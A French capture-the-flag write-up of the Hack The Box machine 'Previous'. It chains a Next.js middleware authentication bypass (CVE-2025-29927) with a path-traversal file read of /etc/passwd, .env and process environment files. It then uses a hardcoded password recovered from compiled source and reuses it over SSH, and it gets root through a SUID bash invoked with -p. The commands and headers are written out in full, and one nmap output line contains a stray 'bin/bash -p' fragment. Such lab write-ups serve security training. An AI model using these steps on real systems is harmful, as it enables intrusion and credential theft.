Previous

Prises de Notes de mes box HTB
Retour à la mosaïque

Previous est une box Linux de difficulté intermédiaire sur Hack The Box. Elle montre des vulnérabilités modernes liées aux applications Next.js et à la mauvaise configuration des droits sudo associés au binaire terraform.

Accès initial

Comme d'habitude, je commence par un scan Nmap profond pour savoir à quoi j'ai à faire :

~/ctf/htb/en_cours $ nmap -sC -sV 10.10.11.83
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-06 20:02 +0100
Nmap scan report for previous.htb (10.10.11.83)
Host is up (0.024s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4bin/bash -p:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: PreviousJS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.74 seconds

Seuls deux ports sont ouverts : le port SSH classique (22) et un serveur web nginx (80). La page web s'appelle PreviousJS. Pour chercher des pages cachées, je lance un fuzzing des répertoires :

~/ctf/htb/en_cours $ dirb http://previous.htb/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Dec  6 21:15:35 2025
URL_BASE: http://previous.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://previous.htb/ ----
+ http://previous.htb/api (CODE:307|SIZE:35)                                                                                                                                                        
+ http://previous.htb/apis (CODE:307|SIZE:36)                                                                                                                                                       
+ http://previous.htb/cgi-bin/ (CODE:308|SIZE:8)                                                                                                                                                    
+ http://previous.htb/docs (CODE:307|SIZE:36)                                                                                                                                                       
+ http://previous.htb/docs41 (CODE:307|SIZE:38)                                                                                                                                                     
+ http://previous.htb/docs51 (CODE:307|SIZE:38)                                                                                                                                                     
+ http://previous.htb/signin (CODE:200|SIZE:3481)                                                                                                                                                   
                                                                                                                                                                                                    
-----------------
END_TIME: Sat Dec  6 21:17:53 2025
DOWNLOADED: 4612 - FOUND: 7

Plusieurs routes intéressantes apparaissent, comme /api, /docs, et surtout une page de connexion /signin.

En analysant les fichiers JavaScript du site, la plupart des chemins commencent par /_next/static/chunks/, confirmant qu'on a affaire à une application Next.js.
Sur la page d'accueil, on a l'adresse de contact jeremy@previous.htb ça pourra être utile plus tard.

Authentication Bypass (CVE-2025-29927)

J'ai testé plusieurs injections SQL sur le portail de connexion sans succès. Je dois donc trouver une auth bypass sur next.js :


Trouvé.

Pour exploiter cette vulnérabilité, je dois confirmer la version de Next.js. Je fais donc plusieurs tests de payload et celui des versions récentes (>= 13.2.0) permet de passer les filtres ! Je récupère les en-têtes de l'application via une simple injection d'un header x-middleware-subrequest :

~/ctf/htb/en_cours $ curl -I -X GET 'http://previous.htb/docs' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 06 Dec 2025 21:48:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3353
Connection: keep-alive
X-Powered-By: Next.js
ETag: "83h4wb4nfw2l1"
Vary: Accept-Encoding

La réponse `200 OK` confirme l'accès non autorisé. À travers Burp Suite, j'explore donc le site en tant qu'utilisateur "connecté" !

LFI

Sur la page listant des exemples, une fonctionnalité retient mon attention : elle permet de télécharger un fichier de démonstration.

<p>Download the full example <a href="/api/download?example=hello-world.ts">here</a>!</p>

Le paramètre example n'est manifestement pas filtré. C'est le comportement classique d'une LFI. Je teste un Path Traversal sur `etc/passwd` via ce paramètre en y ajoutant le header pour le bypass :

~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../../../../../../../etc/passwd' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

Seuls deux utilisateurs possèdent un shell interactif pertinent pour la suite de l'exploitation : root et node.

Exploration du code source

Maintenant que j'ai une LFI illimitée, je vais récupérer les secrets et la logique de l'app (App Router).
Je trouve l'arborescence recommandée dans la documentation Next.js et je récupère d'abord le package.json avec un chemin relatif :

Arborescence recommandée d'un projet Next.js depuis la doc officielle
~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../package.json' \ 
-H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
{
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build"
  },
  "dependencies": {
    "@mdx-js/loader": "^3.1.0",
...
    "next": "^15.2.2",
    "next-auth": "^4.24.11",
...
  },
...
}

L'application tourne depuis /app, j'utilise donc le chemin relatif approprié pour chercher d'éventuels secrets. La prise principale s'effectue dans le .env :

~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../.env' \      
-H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a
Interface JWT.io affichant le token d'authentification

J'ai testé de forger moi-même un nouveau token d'administration valide signé via cette clé trouvée :

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJqZXJlbXkiLCJlbWFpbCI6ImplcmVteUBwcmV2aW91cy5odGIiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNTE2MjM5MDIyfQ.JS07CbQ534th6vJ4MExbyAT_DslRDIETnZsRIAe-nQE

C'est un échec, ce JWT forgé ne me donne pas plus de droits. Je repars à la chasse aux identifiants plus profonds. L'analyse des arguments du process avec /proc/self/cmdline et /proc/self/environ me confirme l'espace du backend Node :

~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../../../../../proc/self/environ' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -o o

NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production

Pour mieux comprendre la logique de l'application Next.js compilée, je m'intéresse à son fichier de manifest routes-manifest.json.

~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../.next/routes-manifest.json' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
{
  "version": 3,
...
  "dynamicRoutes": [
    {
      "page": "/api/auth/[...nextauth]"
...

La documentation de Next.js parle de fichiers pré-compilés stockés sur .next/server/pages/.
La route /api/auth/[...nextauth] pointe vers le fichier gérant la logique du login. Je télécharge ce javascript "minifié" :

~/ctf/htb/en_cours $ curl 'http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' > -o -

"use strict";(()=>{var e={};e.id=651,... let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET} ...

L'argument est clair comme de l'eau de roche, le mot de passe est hardcodé pour l'utilisateur de test jeremy s'il n'est pas fourni par l'environnement : e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes").

Je dispose désormais des identifiants valides : jeremy : MyNameIsJeremyAndILovePancakes.

J'ai réessayé de me connecter à la webapp avec ce compte pendant un moment avant de me rabattre sur une évidence classique d'infrastructure : la réutilisation de mots de passe (Password Reuse). Je tente donc cette paire d'identifiants directement sur le service SSH et... bingo, je me suis connecté et j'obtiens un shell interactif !

Élévation de privilège

La première chose à faire est d'explorer le déploiement du serveur web. L'application Next.js est dockerisée et mappée sur le réseau local localhost:3000 :

-bash-5.1$ ls
docker  user.txt
-bash-5.1$ cd docker/
-bash-5.1$ cat docker-compose.yml 
services:
  next:
    build: previous
    restart: unless-stopped
    ports:
      - "127.0.0.1:3000:3000"
-bash-5.1$ cd previous/
-bash-5.1$ cat Dockerfile 
# syntax=docker.io/docker/dockerfile:1
...
CMD ["node", "server.js"]

Docker escape et compromission finale

Pour m'élever sur la machine hôte principale en root, je vérifie immédiatement les droits sudo :

-bash-5.1$ sudo -l
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

Intéressant ! Mon utilisateur jeremy a l'autorisation d'exécuter terraform apply avec les privilèges root dans le répertoire /opt/examples. Je m'y déplace pour l'inspecter :

-bash-5.1$ pwd
/opt/examples
-bash-5.1$ ls -la
total 28
drwxr-xr-x 3 root root 4096 Dec  7 16:09 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root   18 Apr 12  2025 .gitignore
-rw-r--r-- 1 root root  576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root  247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Dec  7 16:09 terraform.tfstate

Le fichier main.tf est présent mais m'offre peu de prise, il n'accepte pas de bloc `provisioner` ou autre vulnérabilité par défaut me permettant d'injecter une commande système par l'application :

-bash-5.1$ cat main.tf 
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}

Je ne peux manipuler qu'une seule commande : /usr/bin/sudo /usr/bin/terraform -chdir\=/opt/examples apply. Je n'ai ni les droits d'écriture sur les fichiers intéressants, ni la capacité de créer un fichier de conf Terraform secondaire ici. Mes tentatives de tromper le système avec du path hijacking (par exemple modifier des binaires via /tmp et l'export du PATH) butent sur les protections strictes de sudo. Je cherche donc ailleurs.

Je regarde donc les binaires avec un bit SUID activé par défaut à bord du système avec find :

-bash-5.1$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 40496 Feb  6  2024 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44808 Feb  6  2024 /usr/bin/chsh
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /usr/bin/bash
-rwsr-xr-- 1 root messagebus 35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Je remarque tout de suite une aberration totale : l'interpréteur /usr/bin/bash possède un bit SUID accordé dans sa configuration. Un bash SUID est en temps normal extrêmement critique. L'explication se trouve en réalité au niveau du système de sécurisation global du terminal d'Ubuntu :

En pratique, lorsque /bin/bash est invoqué par un utilisateur autre que son propriétaire (ici root) dans un contexte SUID régulier, il "rétrograde" explicitement les privilèges hérités de son créateur, exécutant son travail avec nos propres droits (l'EUID est remplacé par l'UID réel). C'est une protection très connue de Bash.

Néanmoins, l'ajout du flag de ligne de commande -p lors de son appel lui enseigne précisément de ne pas rétrograder ses droits... Dès que j'ai vu cela, nul besoin du terraform :

-bash-5.1$ /bin/bash -p
bash-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) egid=0(root) groups=0(root),1000(jeremy)
bash-5.1# cat /root/root.txt

Rooted